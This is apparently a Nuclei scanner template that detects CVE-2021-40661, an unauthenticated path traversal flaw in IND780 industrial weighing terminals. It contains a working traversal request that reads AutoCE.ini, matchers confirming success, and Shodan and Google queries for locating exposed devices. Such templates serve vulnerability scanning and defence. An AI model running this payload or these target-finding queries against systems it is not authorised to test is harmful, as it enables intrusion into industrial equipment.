IND780 - Local File Inclusion

id: CVE-2021-40661

info:
  name: IND780 - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: |
    IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to further compromise of the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate the vulnerability and ensure that the device is not accessible from untrusted networks.
  reference:
    - https://sidsecure.au/blog/cve-2021-40661/?_sm_pdc=1&_sm_rid=MRRqb4KBDnjBMJk24b40LMS3SKqPMqb4KVn32Kr
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40661
    - https://www.mt.com/au/en/home/products/Industrial_Weighing_Solutions/Terminals-and-Controllers/terminals-bench-floor-scales/advanced-bench-floor-applications/IND780/IND780_.html#overviewpm
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40661
    - https://github.com/Live-Hack-CVE/CVE-2021-40661
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40661
    cwe-id: CWE-22
    epss-score: 0.01137
    epss-percentile: 0.84411
    cpe: cpe:2.3:o:mt:ind780_firmware:7.2.10:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mt
    product: ind780_firmware
    shodan-query:
      - IND780
      - ind780
    google-query: inurl:excalweb.dll
  tags: cve2021,cve,ind780,lfi,mt

http:
  - method: GET
    path:
      - "{{BaseURL}}/IND780/excalweb.dll?webpage=../../AutoCE.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ExePath=\Windows'
          - 'WorkDir=\Windows'
        condition: and

      - type: status
        status:
          - 200
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